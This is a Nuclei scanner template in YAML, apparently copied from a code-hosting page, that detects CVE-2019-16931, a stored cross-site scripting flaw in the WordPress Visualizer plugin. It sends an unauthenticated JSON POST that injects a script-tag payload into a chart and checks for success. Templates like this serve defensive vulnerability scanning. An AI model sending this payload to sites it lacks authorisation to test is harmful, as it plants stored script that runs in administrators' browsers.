59 lines
2.0 KiB
YAML
59 lines
2.0 KiB
YAML
id: CVE-2019-16931
|
|
|
|
info:
|
|
name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
|
|
remediation: |
|
|
Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
|
|
- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
|
|
- https://wpvulndb.com/vulnerabilities/9893
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-16931
|
|
- https://wordpress.org/plugins/visualizer/#developers
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2019-16931
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00244
|
|
epss-percentile: 0.62296
|
|
cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: themeisle
|
|
product: visualizer
|
|
framework: wordpress
|
|
tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-json/visualizer/v1/update-chart HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '{"success":"Chart updated"}'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'application/json'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a004830460221008329c73201f6620df589b97762958e85ef42e36b6fc4457c90ac59d7c50a8487022100ef5cabe78043262a11aff6f7698c0d543d4810f2ade00039c615560523fe3d64:922c64590222798bb761d5b6d8e72950
|